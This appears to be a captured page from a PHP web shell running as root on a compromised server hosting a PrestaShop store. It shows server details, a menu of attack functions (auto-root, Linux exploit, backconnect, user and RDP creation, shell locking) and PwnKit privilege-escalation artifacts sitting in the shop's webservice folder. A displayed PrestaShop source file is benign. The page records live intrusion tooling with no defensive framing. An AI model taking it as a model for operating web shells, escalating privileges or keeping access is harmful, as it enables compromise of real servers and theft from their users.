Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
classes /
webservice /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
WebserviceException.php
2.31
KB
-rwxrwxrwx
WebserviceKey.php
5.1
KB
-rwxrwxrwx
WebserviceOutputBuilder.php
31.86
KB
-rwxrwxrwx
WebserviceOutputInterface.php
1.79
KB
-rwxrwxrwx
WebserviceOutputJSON.php
5.87
KB
-rwxrwxrwx
WebserviceOutputXML.php
7.77
KB
-rwxrwxrwx
WebserviceRequest.php
82.33
KB
-rwxrwxrwx
WebserviceSpecificManagementIm...
55.12
KB
-rwxrwxrwx
WebserviceSpecificManagementIn...
1.45
KB
-rwxrwxrwx
WebserviceSpecificManagementSe...
4.39
KB
-rwxrwxrwx
index.php
1.29
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WebserviceOutputJSON.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class WebserviceOutputJSONCore implements WebserviceOutputInterface { public $docUrl = ''; public $languages = array(); protected $wsUrl; protected $schemaToDisplay; /** * Current entity. */ protected $currentEntity; /** * Current association. */ protected $currentAssociatedEntity = array(); /** * Json content. */ protected $content = array(); public function __construct($languages = array()) { $this->languages = $languages; } public function setSchemaToDisplay($schema) { if (is_string($schema)) { $this->schemaToDisplay = $schema; } return $this; } public function getSchemaToDisplay() { return $this->schemaToDisplay; } public function setWsUrl($url) { $this->wsUrl = $url; return $this; } public function getWsUrl() { return $this->wsUrl; } public function getContentType() { return 'application/json'; } public function renderErrors($message, $code = null) { $this->content['errors'][] = array('code' => $code, 'message' => $message); return ''; } public function renderField($field) { $is_association = (isset($field['is_association']) && $field['is_association'] == true); if (is_array($field['value'])) { $tmp = array(); foreach ($this->languages as $id_lang) { $tmp[] = array('id' => $id_lang, 'value' => $field['value'][$id_lang]); } if (count($tmp) == 1) { $field['value'] = $tmp[0]['value']; } else { $field['value'] = $tmp; } } // Case 1 : fields of the current entity (not an association) if (!$is_association) { $this->currentEntity[$field['sqlId']] = $field['value']; } else { // Case 2 : fields of an associated entity to the current one $this->currentAssociatedEntity[] = array('name' => $field['entities_name'], 'key' => $field['sqlId'], 'value' => $field['value']); } return ''; } public function renderNodeHeader($node_name, $params, $more_attr = null, $has_child = true) { // api ? static $isAPICall = false; if ($node_name == 'api' && ($isAPICall == false)) { $isAPICall = true; } if ($isAPICall && !in_array($node_name, array('description', 'schema', 'api'))) { $this->content[] = $node_name; } if (isset($more_attr, $more_attr['id'])) { $this->content[$params['objectsNodeName']][] = array('id' => $more_attr['id']); } return ''; } public function getNodeName($params) { $node_name = ''; if (isset($params['objectNodeName'])) { $node_name = $params['objectNodeName']; } return $node_name; } public function renderNodeFooter($node_name, $params) { if (isset($params['objectNodeName']) && $params['objectNodeName'] == $node_name) { if (array_key_exists('display', $_GET)) { $this->content[$params['objectsNodeName']][] = $this->currentEntity; } else { $this->content[$params['objectNodeName']] = $this->currentEntity; } $this->currentEntity = array(); } if (is_countable($this->currentAssociatedEntity) && count($this->currentAssociatedEntity)) { $current = array(); foreach ($this->currentAssociatedEntity as $element) { $current[$element['key']] = $element['value']; } //$this->currentEntity['associations'][$element['name']][][$element['key']] = $element['value']; $this->currentEntity['associations'][$element['name']][] = $current; $this->currentAssociatedEntity = array(); } } public function overrideContent($content) { $content = json_encode($this->content, JSON_UNESCAPED_UNICODE); return (false !== $content) ? $content : ''; } public function setLanguages($languages) { $this->languages = $languages; return $this; } public function renderAssociationWrapperHeader() { return ''; } public function renderAssociationWrapperFooter() { return ''; } public function renderAssociationHeader($obj, $params, $assoc_name, $closed_tags = false) { return ''; } public function renderAssociationFooter($obj, $params, $assoc_name) { } public function renderErrorsHeader() { return ''; } public function renderErrorsFooter() { return ''; } public function renderAssociationField($field) { return ''; } public function renderi18nField($field) { return ''; } }
Close